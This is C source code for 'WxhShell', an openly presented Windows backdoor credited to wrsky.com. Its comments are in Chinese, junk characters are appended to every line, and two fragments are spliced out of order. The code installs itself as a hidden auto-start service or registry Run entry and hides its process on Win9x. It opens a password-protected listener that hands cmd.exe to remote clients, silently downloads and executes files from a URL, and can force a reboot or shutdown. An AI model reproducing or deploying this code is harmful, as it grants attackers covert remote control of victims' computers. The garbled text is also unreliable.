    if(Boot(SHUTDOWN)) -Wk"o?} q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V2%wb\_z  
    else { qEr[fC@x  
    closesocket(wsh); [i1D~rCcn  
    ExitThread(0); =_J<thp  
    } j//wh1  
    break; )d u{ZWr  
    } p9WskYpm  
  // 获取shell ^)l@7XxD  
  case 's': { T+h{Aeg  
    CmdShell(wsh); y03a\K5[KQ  
    closesocket(wsh); O Zm[i H  
    ExitThread(0); D  .R  
    break; s'Gy+h.  
  } }{oBKm9_p  
  // 退出 i6 ?JX@I  
  case 'x': { guXpHF=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {OrE1WHB  
    CloseIt(wsh); RsfT Ub)<  
    break; 5udoZ >T  
    } F$ p*G][  
  // 离开 ^X%4@,AE  
  case 'q': { d}cJ5 !d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ldvxYq<:  
    closesocket(wsh); K0=E4>z,`q  
    WSACleanup(); Jjh!/pWZ4  
    exit(1); &"%|`gE  
    break; 1/+r?F 3  
        } R6mJFE*6T9  
  } C*e[CP@u  
  } g 'a?  
D@W3;T^  
  // 提示信息 nvVsO>2{ o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3#9r4;&  
} @~G`~8   
  } HCkqh4  
$!!=fFX*y  
  return; [<a%\:c m4  
} \1C!,C  
bk9~63tN+>  
// shell模块句柄 .hNw1~Fj  
int CmdShell(SOCKET sock) N: jiZ)  
{ n12c075  
STARTUPINFO si; P\6T4s  
ZeroMemory(&si,sizeof(si)); ^GaPpm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .x?zky^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #n)W  
PROCESS_INFORMATION ProcessInfo; T KL(97)<  
char cmdline[]="cmd"; [mzF)/[_2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Le:mMd= G  
  return 0; <L ( =  
} y"L`bl A9}  
O[p^lr(B7  
// 自身启动模式 0+y~RTAVB  
int StartFromService(void)  ,bp pM  
{ <O)X89dFM  
typedef struct u4M2Ec  
{ C{i;spc!bi  
  DWORD ExitStatus; )r,R!8  
  DWORD PebBaseAddress; &~A*(+S  
  DWORD AffinityMask; maEpT43f  
  DWORD BasePriority; +Z~!n  
  ULONG UniqueProcessId; `$a gM@"^  
  ULONG InheritedFromUniqueProcessId; 4yZ+,hqJ<9  
}   PROCESS_BASIC_INFORMATION; IetGg{h.  
VD&3%G!  
PROCNTQSIP NtQueryInformationProcess; ?[1qC=[Z<  
15T[J%7f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G$|;~'E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UQ?OD~7  
[67E5rk-  
  HANDLE             hProcess; 6 %k+0\d  
  PROCESS_BASIC_INFORMATION pbi; !v4j`A;%  
=*:_swd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !"x7re  
  if(NULL == hInst ) return 0; #iU8hUbo  
?r E]s!K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jo3}]KC !  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pH l2!{z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I&fh  
po2[uJ  
  if (!NtQueryInformationProcess) return 0; `CEj 4  
rbuL@= S@*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j484b2uj1  
  if(!hProcess) return 0; bb/?02*)H  
ytV)!xe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qM!f   
ie~fQ!rf  
  CloseHandle(hProcess); hk!,  
QT= ,En  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .0fh>kQ  
if(hProcess==NULL) return 0; 9}jq`xSL  
/b:t;0G  
HMODULE hMod; i Kk"j   
char procName[255]; +=~%S)9F  
unsigned long cbNeeded; O:^LQ  
zPh\3B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5H :~6z  
=_m9so  
  CloseHandle(hProcess); `=}UFu  
l*\~ew   
if(strstr(procName,"services")) return 1; // 以服务启动 $FusDdCv3  
d O46~  
  return 0; // 注册表启动 |*c\6 :  
} o|;eMO-  
=Wk/q_.  
// 主模块  e_~fJ  
int StartWxhshell(LPSTR lpCmdLine) ;y~{+{{Ow  
{ "`i:)Et  
  SOCKET wsl; Tq\~<rEo  
BOOL val=TRUE; d1TdH s\  
  int port=0; Jg|cvu-+  
  struct sockaddr_in door; mhi90Jc  
pjHRV[`AP  
  if(wscfg.ws_autoins) Install(); z1'FmwT  
~@4ZV  
port=atoi(lpCmdLine); 6%\Q*r*N  
l /png:  
if(port<=0) port=wscfg.ws_port; 0 oj{e9h  
ImV]}M~_  
  WSADATA data; 8hKP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pgd8`$(Q  
RE>ks[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %t~SOkx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O%JsUKV  
  door.sin_family = AF_INET; EwD3d0udL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `kNi*I^  
  door.sin_port = htons(port); )o9Q5Lq  
:K^gu%,&$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v"~Do+*+  
closesocket(wsl); K4k~r!&OU  
return 1; sP?$G8-^  
} W[>iJJwz  
)v52y8G-p  
  if(listen(wsl,2) == INVALID_SOCKET) { 4j@i%  
closesocket(wsl); 5K ,#4EOV  
return 1; IObx^N_K  
} /$9BPjO{  
  Wxhshell(wsl); %/y`<lJz(  
  WSACleanup(); Z6^QB@moj  
@1qdd~B}  
return 0; cZgMA8 F  
zRV!(Y  
} nJleef9  
)>y k-  
// 以NT服务方式启动 f{igW?Ho  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p`:*mf  
{ 1^L`)Up  
DWORD   status = 0; (rr}Pv%yb  
  DWORD   specificError = 0xfffffff; ^KkRF":  
-Aa]aDAz68  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /Fe:h >6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e2k4[V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 79SqYe=&uy  
  serviceStatus.dwWin32ExitCode     = 0; @n7t?9Bx  
  serviceStatus.dwServiceSpecificExitCode = 0; L\}Pzxn  
  serviceStatus.dwCheckPoint       = 0; s !#HZK  
  serviceStatus.dwWaitHint       = 0; zb5N,!%r  
Xb]=:x(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I(]BMMj  
  if (hServiceStatusHandle==0) return; T~%H%O(F  
sn-)(XU!  
status = GetLastError(); $T?*0"Mj[  
  if (status!=NO_ERROR) jow7t\wk  
{ OGJ=VQA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y5ogi )  
    serviceStatus.dwCheckPoint       = 0; iW|s|1mh3  
    serviceStatus.dwWaitHint       = 0; ge0's+E+1  
    serviceStatus.dwWin32ExitCode     = status; E &7@#'l  
    serviceStatus.dwServiceSpecificExitCode = specificError;  c6Lif)4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q !9HA[Ly  
    return; 'lhP!E_)q  
  } e=t<H"&  
P_p6GT:5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ys-Keyg  
  serviceStatus.dwCheckPoint       = 0; >1x7UXs~:  
  serviceStatus.dwWaitHint       = 0; )Fqy%uR8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r8uqcKfU  
} JbE?a[Eg?  
E-~mOYea  
// 处理NT服务事件,比如:启动、停止 iOT)0@f'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [J0*+C9P*  
{ ^ <qrM  
switch(fdwControl) 3{<R5wUo"  
{ E'5Ajtw;  
case SERVICE_CONTROL_STOP: UvkJ?Bu  
  serviceStatus.dwWin32ExitCode = 0; 1GtOA3,~;-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 07x=`7hs}  
  serviceStatus.dwCheckPoint   = 0; j$@?62)6  
  serviceStatus.dwWaitHint     = 0; [@m[V1D  
  { ,>;!%Ui/p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %O#)Nq>mp  
  } HWqLcQ d:P  
  return; [tUv*jw%  
case SERVICE_CONTROL_PAUSE: AG]W O8f)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZCm1+Y$  
  break; 31~hlp;  
case SERVICE_CONTROL_CONTINUE: wms1IV%;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2~f6~\4GL+  
  break; I[#U`9Dt  
case SERVICE_CONTROL_INTERROGATE: 9Z&?R++?  
  break; /ZHO>LNN|  
}; Kw)K A^KF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~&1KrUu&  
} *^'wFbaBO  
ezp<@'0ZT  
// 标准应用程序主函数 ~32Pjk~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $[,l-[-+  
{ _=ugxL #eB  
W1v CN31  
// 获取操作系统版本 Fse['O~  
OsIsNt=GetOsVer(); eY T8$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M[~Jaxw%  
bSQRLxF  
  // 从命令行安装 O -G1})$  
  if(strpbrk(lpCmdLine,"iI")) Install(); TWUUvj`.  
)S^z+3p  
  // 下载执行文件 Q6=MS>JW]w  
if(wscfg.ws_downexe) { Y2<dM/b/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a\=-D:  
  WinExec(wscfg.ws_filenam,SW_HIDE); b\?3--q  
} OR]T`meO  
`h?LVD'l  
if(!OsIsNt) { o,CBA;{P  
// 如果时win9x,隐藏进程并且设置为注册表启动 L?!$EPr  
HideProc(); *ksb?|<Ot  
StartWxhshell(lpCmdLine); &.zj5*J  
} Q:mZ" i5  
else Gz ?2b#7v  
  if(StartFromService()) L[rpb.'FG  
  // 以服务方式启动 @%c81rv?  
  StartServiceCtrlDispatcher(DispatchTable); j")FaIM  
else  l^P#kQA  
  // 普通方式启动 9qpU@V!  
  StartWxhshell(lpCmdLine); !#?8BwnaZ  
O}QFq14<+  
return 0; Rp0|zP,5  
} +P|2m"UA  
~ FGe ~  
+semfZ)  
rj3YTu`  
=========================================== 4.8nY\_WF  
{7qA&c=  
>8|+%pK8<  
`fz,Lh*v  
2JVxzj<~`  
:j@8L.<U  
" (3VGaUlx  
),=@q+{E{  
#include <stdio.h> V5AW&kfd  
#include <string.h> \^&   
#include <windows.h> ;UrK {>B  
#include <winsock2.h> %*kLEA*v  
#include <winsvc.h> "}@i+oS  
#include <urlmon.h> Lj8)' [K"  
n+HsQ]z.  
#pragma comment (lib, "Ws2_32.lib") <c+K3P'3?  
#pragma comment (lib, "urlmon.lib") X8b|]Nr  
[SkKz>rC  
#define MAX_USER   100 // 最大客户端连接数 qgx?"$ Z  
#define BUF_SOCK   200 // sock buffer # ORO&78  
#define KEY_BUFF   255 // 输入 buffer d8E,o7$m  
|g<*Rk0  
#define REBOOT     0   // 重启 i ?;R}%~  
#define SHUTDOWN   1   // 关机 {^J!<k,R\;  
]dG\j^e|  
#define DEF_PORT   5000 // 监听端口 T1W:>~T5#  
b#/i.!:a  
#define REG_LEN     16   // 注册表键长度 U]1(&MgV  
#define SVC_LEN     80   // NT服务名长度 \tx%WC  
XX2h(-  
// 从dll定义API h0Ee?=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B_ k2u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DK6? E\<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b}@(m$W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *tc{vtuu~^  
>&WhQhZ3kg  
// wxhshell配置信息 ,."b3wR[w  
struct WSCFG { F\:(*1C  
  int ws_port;         // 监听端口 ,3HcCuT  
  char ws_passstr[REG_LEN]; // 口令 R{?vQsLk  
  int ws_autoins;       // 安装标记, 1=yes 0=no jJBnDxsA  
  char ws_regname[REG_LEN]; // 注册表键名 L\e>B>u  
  char ws_svcname[REG_LEN]; // 服务名 ybQP E/9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8:thWGLN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (PRBS\*G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }"_j0ax  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S@xXq{j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J[@um:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *5OCqU+g  
Cqx v"NN  
}; +@<KC  
JYm7@gx  
// default Wxhshell configuration RJ~ %0  
struct WSCFG wscfg={DEF_PORT, gg^1b77hT  
    "xuhuanlingzhe", =P`~t<ajB  
    1, vfwA$7N  
    "Wxhshell", }gGkV]  
    "Wxhshell", <&<,l58[c  
            "WxhShell Service", r?A|d.Tl  
    "Wrsky Windows CmdShell Service", G[h(xp?,l  
    "Please Input Your Password: ", A&,,9G<  
  1, ]|U-y6 45  
  "http://www.wrsky.com/wxhshell.exe", ECcZz.  
  "Wxhshell.exe" l&W;b6L  
    }; y3eHF^K+$  
>MG(qi  
// 消息定义模块 2(M6(xH>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A}5fCx.{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "e6|"w@8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iiG f'@/  
char *msg_ws_ext="\n\rExit."; fD4ICO@  
char *msg_ws_end="\n\rQuit."; 0Fw6Dq<8-!  
char *msg_ws_boot="\n\rReboot..."; `f9gC3Hk  
char *msg_ws_poff="\n\rShutdown..."; &aG*k*  
char *msg_ws_down="\n\rSave to "; BqH]-'1G  
 c</1  
char *msg_ws_err="\n\rErr!"; qAY%nA>jO  
char *msg_ws_ok="\n\rOK!"; /nZ;v4  
vq!uD!lr  
char ExeFile[MAX_PATH]; *7$P]  
int nUser = 0; 55Gtp\L  
HANDLE handles[MAX_USER]; z42F,4Gk  
int OsIsNt; 7&B$HZ  
/6+NU^  
SERVICE_STATUS       serviceStatus; @|\R}k%(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @=Fi7M  
%o w^dzW  
// 函数声明 p fT60W[m  
int Install(void); x\\~SGd  
int Uninstall(void); $uj(G7_  
int DownloadFile(char *sURL, SOCKET wsh); 4 !#a3=_  
int Boot(int flag); p$E8Bn%[  
void HideProc(void); } JiSmi6o  
int GetOsVer(void); 8K"+,s(%R  
int Wxhshell(SOCKET wsl); bKDA!R2  
void TalkWithClient(void *cs); 89~ =eY  
int CmdShell(SOCKET sock); |=dC )Azs  
int StartFromService(void); D@oCP =m<  
int StartWxhshell(LPSTR lpCmdLine); {ZsdLF#  
0?0Jz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'CR)`G_'[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ve6w<3D@  
Wu1{[a|  
// 数据结构和表定义 ]J7Qgp)i  
SERVICE_TABLE_ENTRY DispatchTable[] = 9`Q<Yy"du  
{ $s5a G)?7  
{wscfg.ws_svcname, NTServiceMain}, ^U[D4UM  
{NULL, NULL} :dI\z]Y(  
}; MXD4|r(  
@b#^ -  
// 自我安装 58tVx'1y  
int Install(void) t*XN_=E$f  
{ FFKGd/:!  
  char svExeFile[MAX_PATH]; \ I`p|&vG  
  HKEY key; wzCUZ1N9q  
  strcpy(svExeFile,ExeFile); u3 0s_\  
28.~iw  
// 如果是win9x系统,修改注册表设为自启动 tBATZ0nK`Q  
if(!OsIsNt) { Gi2$B76<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,u9M<B<F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V5f9]D  
  RegCloseKey(key); 3< Od0J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :4gLjzL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bM,1f/^  
  RegCloseKey(key); 2";SJF'5\  
  return 0; Cq)IayD@  
    } Ro(Zmk\t  
  } (la[KqqCO  
} U_GgCI)  
else { R(Kk{c:-@  
IiBD?}  
// 如果是NT以上系统,安装为系统服务 LwcIGhy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GB7/x*u   
if (schSCManager!=0) Hu3wdq  
{ cD|Htt"  
  SC_HANDLE schService = CreateService M<PIeKIEB  
  ( "KX=ow#z|  
  schSCManager, IuF_M<d,  
  wscfg.ws_svcname, Nes=;%&]G  
  wscfg.ws_svcdisp, _PFnh)o  
  SERVICE_ALL_ACCESS, mLV[uhq   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )0 W`  
  SERVICE_AUTO_START, ao_4mSB  
  SERVICE_ERROR_NORMAL, DV)3  
  svExeFile, WI> P-D  
  NULL, `o]g~AKX  
  NULL, #|GSQJ$F)`  
  NULL, nrm+z"7  
  NULL, q#w8wH"  
  NULL gKz(=  
  ); $d S@y+  
  if (schService!=0) zq+o+o>xo  
  { 9^FziM  
  CloseServiceHandle(schService); 5irwz4.4  
  CloseServiceHandle(schSCManager); FGWN}&K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 94sk kEj  
  strcat(svExeFile,wscfg.ws_svcname); CI U1R;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (" ~ DJ=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8K(Z0  
  RegCloseKey(key); F!zP<A "  
  return 0; W14F  
    } ,GWNL m\5  
  } k3?rp`V1  
  CloseServiceHandle(schSCManager); ;W>Cqg=  
} c~QS9)=E  
} ML;*e"$  
OU5*9_7.  
return 1; ,)PiP/3B  
} ;9o;r)9~  
[/s&K{+c  
// 自我卸载 g_5QA)4x  
int Uninstall(void) gz2\H}  
{ o8e?J\?  
  HKEY key; n1 6 `y}  
0Wa}<]:^  
if(!OsIsNt) { G,Z^g|6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .itw04Uru  
  RegDeleteValue(key,wscfg.ws_regname); toN^0F?Qm  
  RegCloseKey(key); H~ZV *[A`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sGh(#A0Pt  
  RegDeleteValue(key,wscfg.ws_regname); 2(5ebe[  
  RegCloseKey(key); 1f",}qe;  
  return 0; }_=eT]  
  } su*Pk|6%  
} m]i @ +C  
} kmzH'wktt  
else { 3(C\.oRc  
gs!(;N\j|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .ERO|$fv  
if (schSCManager!=0) Oo kh<ES>  
{ f&v9Q97=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "ju6XdZo  
  if (schService!=0) ;7N{^"r  
  { AJ#Nenmj  
  if(DeleteService(schService)!=0) { D}8EERb  
  CloseServiceHandle(schService); g&/T*L  
  CloseServiceHandle(schSCManager); aQ :5d3m0  
  return 0; 6aM*:>C"  
  } rZ8`sIWQt  
  CloseServiceHandle(schService); *m?/O} R  
  } bfo["  
  CloseServiceHandle(schSCManager); PkI:*\R  
} Q.K,%(^;a  
} cGjPxG;  
McB[|PmC  
return 1; 8@so"d2e  
} y;/VB,4V  
Zd"^</ S  
// 从指定url下载文件  : ]C~gc  
int DownloadFile(char *sURL, SOCKET wsh) N('&jHF  
{ (#+^&1  
  HRESULT hr; 2eMTxwt*S  
char seps[]= "/"; J!5$,%v  
char *token; J:V?EE,\-  
char *file; *_>Lmm.yh  
char myURL[MAX_PATH]; B)d(TP,>  
char myFILE[MAX_PATH]; pz"0J_xDM  
Lemui)  
strcpy(myURL,sURL); p/+a=Yo  
  token=strtok(myURL,seps); p K0"%eA  
  while(token!=NULL)  *6q5S4 r  
  { E>l~-PaZY  
    file=token; sQkhwMg  
  token=strtok(NULL,seps); oJN#C%r7  
  } 7uzk p&+:  
kc0E%odF.v  
GetCurrentDirectory(MAX_PATH,myFILE); |i++0BU  
strcat(myFILE, "\\"); Ub6jxib  
strcat(myFILE, file); 0_88V  
  send(wsh,myFILE,strlen(myFILE),0); (o`{uj{!  
send(wsh,"...",3,0); A~-b!Grf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2}8v(%s p  
  if(hr==S_OK) #U14-^7  
return 0; | Bi!  
else 1I:+MBGin  
return 1; Bz,?{o6s)Q  
:OuA)f  
} KCs[/]  
]\|VpIg  
// 系统电源模块 -B +4+&{T  
int Boot(int flag) 0Vx.nUQ  
{ a\r\PBi  
  HANDLE hToken; !r<pmr3f@7  
  TOKEN_PRIVILEGES tkp; =E.wv  
@;"|@!l|  
  if(OsIsNt) { E>K!Vrh-L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z<Nfm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7 qS""f7  
    tkp.PrivilegeCount = 1; 3W N@J6?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AIZ]jq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .[_L=_.  
if(flag==REBOOT) { &q9T9A OS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v/_  
  return 0; c Vc-  
} 6Yln, rC  
else { ?` ?)QE8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nR*ryv  
  return 0; m;,N)<~  
} mHRiugb!  
  } Z.Lc>7o  
  else { 7<*yS310  
if(flag==REBOOT) { :=Nz }mUV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,y#Kv|R  
  return 0; o2F)%TDY  
} ?{[ v+t#  
else { J\b^)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y gz6C  
  return 0; A*\.NTM  
} h'{ C[d  
} x<ZJb  
" )1V]}+m  
return 1; cz8T  
} ~nay"g:  
e~=;c  
// win9x进程隐藏模块 JJN.ugT}1  
void HideProc(void) 9P+-#B  
{ vQ 6^xvk]  
xA$XT[D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4\iOeZRf  
  if ( hKernel != NULL ) ]Gsv0Xk1  
  { YpVD2.jy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T{-CkHf9Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~UP[A'9jJ  
    FreeLibrary(hKernel); A PEE ~  
  } \XZ/v*d0  
"~|6tQLc  
return; gi1^3R[  
} .[ICx  
RMdk:YvBg  
// 获取操作系统版本 .(cw>7e3D  
int GetOsVer(void) `r9!zffyS  
{ m+]K;}.}R  
  OSVERSIONINFO winfo; X aMJDa|M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e w$ B)W  
  GetVersionEx(&winfo); g,!L$,/F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?Lk)gO^C  
  return 1; \"P%`  C  
  else V2wb%;q  
  return 0; M/"I2m   
} s Z].8.  
r7%I n^k  
// 客户端句柄模块 "ut39si  
int Wxhshell(SOCKET wsl) z7fp#>uw  
{ I 7{T  
  SOCKET wsh; #Lh;CSS  
  struct sockaddr_in client; *XIF)Q=<>  
  DWORD myID; kaVxT_  
iv J@=pd)B  
  while(nUser<MAX_USER) _Tm3<o.  
{ ;,%fE2c  
  int nSize=sizeof(client); gCB |DY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @niHl  
  if(wsh==INVALID_SOCKET) return 1; Swig;`  
s"r*YlSp"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G3Hx! YW  
if(handles[nUser]==0) Ng2twfSl$  
  closesocket(wsh); \@c,3  
else 52Z2]T c ,  
  nUser++; LTQ"8  
  } &]|?o_p3W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  iu=7O  
;n*.W|Uph  
  return 0; KPKt^C  
} kTOzSiq  
lZ]ZDb?P  
// 关闭 socket y51e%n$  
void CloseIt(SOCKET wsh) NJWA3zz   
{ DEKP5?]  
closesocket(wsh); Z>k#n'm^z  
nUser--; "o-z y'I  
ExitThread(0); $ r@zs'N  
} 6]WAUK%h  
98IJu  
// 客户端请求句柄 -b9\=U[  
void TalkWithClient(void *cs) t%/&c::(6  
{ JcsHt;  
Z&+ g;(g  
  SOCKET wsh=(SOCKET)cs; /[ 5gX^A  
  char pwd[SVC_LEN]; FrGgga$  
  char cmd[KEY_BUFF]; m$>H u@Va  
char chr[1]; Rq'S>#e  
int i,j; PR#exm&  
+>6iYUa  
  while (nUser < MAX_USER) { 7rc0yB  
&[?\k>  
if(wscfg.ws_passstr) { 'CM|@Zz%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tztu}t]N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a/4T> eC  
  //ZeroMemory(pwd,KEY_BUFF); '}53f2%gKa  
      i=0; ?jv/TBZX4  
  while(i<SVC_LEN) { $]/{[@5  
K7_UP&`=J  
  // 设置超时 5y.WMNNv{  
  fd_set FdRead;  MzdV2.  
  struct timeval TimeOut; & p  
  FD_ZERO(&FdRead); NRs13M<ftf  
  FD_SET(wsh,&FdRead); dd%6t  
  TimeOut.tv_sec=8; /=nJRC3.  
  TimeOut.tv_usec=0; }c,}V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 24 'J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z% ?+AM)P  
@e.C"@G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _$E6P^AQ  
  pwd=chr[0]; U2#"p   
  if(chr[0]==0xd || chr[0]==0xa) {  ?Jm^<  
  pwd=0; ].w4$OJ?  
  break; v!~fs)cdE|  
  } G:<aB  
  i++; &AeX   
    } 'x#~'v*  
f643#1  
  // 如果是非法用户,关闭 socket {I%cx Q#y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ? =Z?6fw  
} UmP/h@8  
@1roe G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _aSxc)?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K<3A1'_  
X]TG<r  
while(1) { )hsgC'H{~]  
O3,jg |,  
  ZeroMemory(cmd,KEY_BUFF); TQF| a\M'  
EeE7#$l  
      // 自动支持客户端 telnet标准   D0-3eV -  
  j=0; z#wkiCRYm  
  while(j<KEY_BUFF) { 0*3R=7_},o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /l ~p=PK  
  cmd[j]=chr[0]; Cv.C;H  
  if(chr[0]==0xa || chr[0]==0xd) { lfow1WRF  
  cmd[j]=0; *w`sM%]Rq  
  break; Z"xvh81P  
  } 2*& ^v  
  j++; vm8eZG|  
    }  ?(1 y  
rH Lm\3  
  // 下载文件 &jJL"gq"  
  if(strstr(cmd,"http://")) { 6P l<'3&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MAR'y8I  
  if(DownloadFile(cmd,wsh)) Gx/Oi)&/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ASA,{w]  
  else m.rmM`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eu-*?]&Di  
  } ?dg [:1R}  
  else { Se}c[|8  
Czu9o;xr  
    switch(cmd[0]) { 194)QeoFw  
  EI%89i`3^  
  // 帮助 rglXs  
  case '?': { K($Npuu]  
